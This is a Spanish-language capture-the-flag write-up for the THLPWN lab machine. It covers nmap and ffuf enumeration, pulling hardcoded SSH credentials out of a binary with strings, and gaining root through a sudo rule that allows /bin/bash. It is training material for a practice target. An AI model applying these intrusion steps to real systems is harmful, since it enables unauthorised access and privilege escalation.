THLPWN

Enumeration

Vamos a iniciar con un escaneo nmap :

┌──(pylon㉿kali)-[~/…/pylon/THL/THLPWN/nmap]
└─$ nmap -p- --open -n --min-rate=5000 -vvv -Pn 192.168.116.130          
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 22:34 CET
Initiating ARP Ping Scan at 22:34
Scanning 192.168.116.130 [1 port]
Completed ARP Ping Scan at 22:34, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:34
Scanning 192.168.116.130 [65535 ports]
Discovered open port 22/tcp on 192.168.116.130
Discovered open port 80/tcp on 192.168.116.130
Completed SYN Stealth Scan at 22:34, 0.87s elapsed (65535 total ports)
Nmap scan report for 192.168.116.130
Host is up, received arp-response (0.00039s latency).
Scanned at 2025-10-29 22:34:14 CET for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:89:24:0B (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Vemos el puerto 22,80 , vamos a realizar un segundo escaneo para obtener más información detallada de ambos puertos:

┌──(pylon㉿kali)-[~/…/pylon/THL/THLPWN/nmap]
└─$ nmap -p22,80 -sCV 192.168.116.130              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 22:35 CET
Nmap scan report for thlpwn.thl (192.168.116.130)
Host is up (0.00020s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: THLPWN - Secure Platform
|_http-server-header: nginx/1.22.1
| http-robots.txt: 3 disallowed entries 
|_/admin/ /backup/ /.git/
MAC Address: 00:0C:29:89:24:0B (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.41 seconds

Obtuvimos la siguiente información:

Puerto

Descripción

22/TCP

OpenSSH 9.2p1 Debian

80/TCP

nginx 1.22.1

Vamos a ver la página web:

Vemos que nos dice lo siguiente:

This server uses virtual hosting.

You need to discover the correct hostname.

Vemos que nos comenta que el servidor esta empleando Virtual Hosting (permite a un único servidor alojar distintas aplicaciones webs) así que intuyendo el posible dominio de la web sea el nombre de la máquina entonces podría ser:

thlpwn.thl

Vamos a añadirlo a nuestro /etc/hosts :

192.168.116.130 thlpwn.thl

Vamos a probar acceder a el:

Vemos un formulario, voy a dejar BurpSuite en segundo plano para que vaya capturando todos los movimientos que vamos a ir realizando. Vamos a probar a rellenar el formulario y enviarlo:

Al darle a Submit vemos lo siguiente:

Vemos que está teniendo un fallo con conectarse a la base de datos, así que no es funcional este formulario.

Vamos a realizar fuzzing para ver si encontramos algo más antes de seguir investigando por la aplicación web:

┌──(pylon㉿kali)-[~/…/pylon/THL/THLPWN/nmap]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic -u "http://thlpwn.thl/FUZZ" -e .php,.html,.js,.txt,.bak -v -fc 403 -fs 4478

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://thlpwn.thl/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php .html .js .txt .bak 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
 :: Filter           : Response size: 4478
________________________________________________

[Status: 200, Size: 60, Words: 6, Lines: 1, Duration: 10ms]
| URL | http://thlpwn.thl/search.php
    * FUZZ: search.php

[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 0ms]
| URL | http://thlpwn.thl/downloads
| --> | http://thlpwn.thl/downloads/
    * FUZZ: downloads

[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 0ms]
| URL | http://thlpwn.thl/admin
| --> | http://thlpwn.thl/admin/
    * FUZZ: admin

[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 0ms]
| URL | http://thlpwn.thl/assets
| --> | http://thlpwn.thl/assets/
    * FUZZ: assets

[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 0ms]
| URL | http://thlpwn.thl/api
| --> | http://thlpwn.thl/api/
    * FUZZ: api

[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 0ms]
| URL | http://thlpwn.thl/backup
| --> | http://thlpwn.thl/backup/
    * FUZZ: backup

[Status: 200, Size: 367, Words: 42, Lines: 14, Duration: 0ms]
| URL | http://thlpwn.thl/robots.txt
    * FUZZ: robots.txt

Vemos cosas interesantes como:

/api/
/backup/
/robots.txt

/api/

Vamos a ver el directorio /api/ :

Vemos 2 endpoints:

/api/users :

Vemos que carga el mismo formulario que probamos anteriormente.

/api/search :

Vemos nuevamente que carga el formulario. Así que por aquí no tiene que ir la cosa.

/backup/

Vamos a intentar acceder a él:

Vemos que no podemos acceder.

/robots.txt

User-agent: *
Disallow: /admin/
Disallow: /backup/
Disallow: /.git/

# Interesting directories:
# /downloads/ - Binary files available here
# /backup/db_schema.sql - Database structure
# /admin/secure/panel.php - Admin panel

# Hint: Check /downloads/ for useful files
# Hint: SQL Injection in search.php (6 columns)
# Hint: Binary location also in database via SQLi

Aquí vemos varias cosas interesantes. Vamos a probar acceder a /.git :

Nada... Vamos a probar a descargar el archivo db_schema.sql :

Vamos a ver su contenido:

-- Database Schema Backup
-- Hint: Use SQL injection to access these tables
-- Look for: secrets, binary_fragments, system_config

CREATE TABLE IF NOT EXISTS secrets (
    id INT PRIMARY KEY,
    key_name VARCHAR(100),
    key_value TEXT,
    hint TEXT
);

Vemos que repetidamente podemos ver mucho la pista de que intentemos un SQL Injection. Actualmente con lo que tenemos enumerado no vemos ningún posible campo vulnerable. Vamos a seguir enumerando vamos a probar a ir /downloads :

Vemos que tenemos un binario donde lo podemos descargar. Luego nos da herramientas para poder analizar este binario. Vamos a ello.

Shell as thluser

Vamos a descargarnos el binario dándole click a Download Binary :

Vamos a analizarlo:

Vamos a empezar con el comando file , con este comando podremos determinar el tipo de archivo y formato gracias a los magic bytes:

┌──(pylon㉿kali)-[~/…/pylon/THL/THLPWN/content]
└─$ file auth_checker 
auth_checker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, too large section header offset 241239588864

Vemos que es un simple ejecutable. Vamos con el comando strings que nos ayudará a extraer cadenas de texto legibles del archivo:

┌──(pylon㉿kali)-[~/…/pylon/THL/THLPWN/content]
└─$ strings auth_checker 
/lib64/ld-linux-x86-64.so.2
fgets
stdin
puts
exit
putchar
fflush
strlen
getchar
stdout
strcspn
__libc_start_main
printf
__isoc99_scanf
strcmp
libc.so.6
GLIBC_2.7
GLIBC_2.34
GLIBC_2.2.5
__gmon_start__
PTE1
H=p@@
2v*H
   THLPWN Authentication Checker      
   Version 1.0 - Secure System        
 VULNERABILITY EXPLOITED SUCCESSFULLY! 
  SSH Access Credentials:
  ========================
  Username: thluser
  Password: 9Kx7mP2wQ5nL8vT4bR6zY
  Connect with:
  ssh thluser@xxx.xxx.xxx.xxx
  First Flag Location:
  cat ~/flag.txt
[*] Enter authentication code: 
[!] Buffer overflow detected!
[!] Security check bypassed!
[-] Access Denied
[?] Hint: Try a longer input (60+ characters)...
[*] Enter password: 
Th3M4st3rK3y2024
[+] Correct password!
[-] Incorrect password
[?] Hint: The password is hardcoded in the binary...
[?] Try: strings auth_checker | grep -i key
Select authentication method:
  1. Password authentication
  2. Code verification (VULNERABLE)
  3. Exit
Choice: 
Invalid input
Goodbye!
Invalid option
;*3$"
GCC: (Debian 12.2.0-14+deb12u1) 12.2.0
crt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
auth_final.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
putchar@GLIBC_2.2.5
__libc_start_main@GLIBC_2.34
stdout@GLIBC_2.2.5
puts@GLIBC_2.2.5
stdin@GLIBC_2.2.5
_edata
_fini
strlen@GLIBC_2.2.5
printf@GLIBC_2.2.5
strcspn@GLIBC_2.2.5
fgets@GLIBC_2.2.5
__data_start
strcmp@GLIBC_2.2.5
getchar@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
fflush@GLIBC_2.2.5
_end
_dl_relocate_static_pie
__bss_start
main
show_credentials
simple_check
__isoc99_scanf@GLIBC_2.7
print_banner
exit@GLIBC_2.2.5
__TMC_END__
vulnerable_check
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment

Podemos ver la siguientes credenciales:

User

Password

thluser

9Kx7mP2wQ5nL8vT4bR6zY

Th3M4st3rK3y2024

Obtuvimos las credenciales de un usuario, vamos a intentar acceder por SSH:

┌──(pylon㉿kali)-[~/…/pylon/THL/THLPWN/content]
└─$ ssh thluser@thlpwn.thl
thluser@thlpwn.thl's password: 
Linux thlpwn 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 29 23:29:44 2025 from 192.168.116.128
thluser@thlpwn:~$

Shell as root

Vamos a enumerar los permisos SUDOERS :

thluser@thlpwn:~$ sudo -l
Matching Defaults entries for thluser on thlpwn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User thluser may run the following commands on thlpwn:
    (ALL) NOPASSWD: /bin/bash

Vemos que podemos usar /bin/bash sin necesidad de contraseña como cualquier usuario. Vamos a ejecutarla con sudo para iniciar como root :

thluser@thlpwn:~$ sudo /bin/bash
root@thlpwn:/home/thluser#

root! ;)

AnteriorPinguPing SiguienteZapasGuapas

hashtagEnumeration

hashtag/api/

hashtag/backup/

hashtag/robots.txt

hashtagShell as thluser

hashtagShell as root